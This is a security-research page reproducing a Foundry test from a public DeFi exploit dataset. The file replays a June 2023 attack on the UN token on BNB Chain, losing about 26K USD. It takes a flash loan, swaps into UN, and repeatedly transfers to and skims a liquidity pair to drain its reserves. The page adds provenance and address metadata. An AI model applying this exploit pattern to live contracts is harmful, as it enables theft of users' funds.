Skip to content
THREATWIRE

Public reproduction file

src/test/2023-06/UN_exp.sol

Public reproduction file for dataset entry UN.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-06/UN_exp.sol67 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~26K USD$
8// Attacker - https://bscscan.com/address/0xf84efa8a9f7e68855cf17eaac9c2f97a9d131366
9// Attack contract - https://bscscan.com/address/0x98e241bd3be918e0d927af81b430be00d86b04f9
10// Attack Tx : https://bscscan.com/tx/0xff5515268d53df41d407036f547b206e288b226989da496fda367bfeb31c5b8b
12// @Analysis - https://twitter.com/MetaTrustAlert/status/1667041877428932608
14contract ContractTest is Test {
15 IDPPOracle DPPOracle = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
17 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
18 IERC20 UN = IERC20(0x1aFA48B74bA7aC0C3C5A2c8B7E24eB71D440846F);
19 IUniswapV2Pair Pair = IUniswapV2Pair(0x5F739a4AdE4341D4AEe049E679095BcCbe904Ee1);
21 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
23 function setUp() public {
24 cheats.createSelectFork("bsc", 28_864_173);
25 cheats.label(address(DPPOracle), "DPPOracle");
26 cheats.label(address(BUSD), "BUSD");
27 cheats.label(address(UN), "UN");
28 cheats.label(address(this), "AttackerContract");
29 cheats.label(address(Pair), "Pair");
30 }
32 function testExploit() public {
33 emit log_named_decimal_uint(
34 "Attacker BUSD balance before attack", BUSD.balanceOf(address(this)), BUSD.decimals()
35 );
37 // End of preparation. Attack start
38 DPPOracle.flashLoan(0, 29_100 * 1e18, address(this), new bytes(1));
40 emit log_named_decimal_uint(
41 "Attacker BUSD balance after attack", BUSD.balanceOf(address(this)), BUSD.decimals()
42 );
43 }
45 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
46 (uint256 UNReserve, uint256 USDReserve,) = Pair.getReserves();
47 uint256 amountIn = BUSD.balanceOf(address(this));
48 uint256 amountOut = (9970 * amountIn * UNReserve) / (10_000 * USDReserve + 9970 * amountIn);
49 BUSD.transfer(address(Pair), amountIn);
50 Pair.swap(amountOut, 0, address(this), new bytes(0));
52 UN.transfer(address(Pair), UN.balanceOf(address(this)) * 93 / 100);
53 Pair.skim(address(this));
54 UN.transfer(address(Pair), UN.balanceOf(address(this)) * 90 / 100);
55 Pair.skim(address(this));
56 UN.transfer(address(Pair), UN.balanceOf(address(this)) * 80 / 100);
57 Pair.skim(address(this));
59 (UNReserve, USDReserve,) = Pair.getReserves();
60 amountIn = UN.balanceOf(address(this));
61 amountOut = (9970 * amountIn * USDReserve) / (10_000 * UNReserve + 9970 * amountIn);
62 UN.transfer(address(Pair), amountIn);
63 Pair.swap(0, amountOut, address(this), new bytes(0));
65 BUSD.transfer(address(DPPOracle), 29_100 * 1e18);
66 }

Analysis

Dataset entry

Public Foundry test for “UN” (2023-06-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xf84efa8a9f7e68855cf17eaac9c2f97a9d131366

  • Attack contract

    0x98e241bd3be918e0d927af81b430be00d86b04f9

  • Attack Tx

    0xff5515268d53df41d407036f547b206e288b226989da496fda367bfeb31c5b8b

File record

Name
UN
Path
src/test/2023-06/UN_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
3d10ecd653f2b00a22eff828c77b6ad3fd5c04e6
Language
Solidity
Size
68 lines
Date
2023-06-06
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-06/UN_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3d10ecd653f2b00a22eff828c77b6ad3fd5c04e6, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.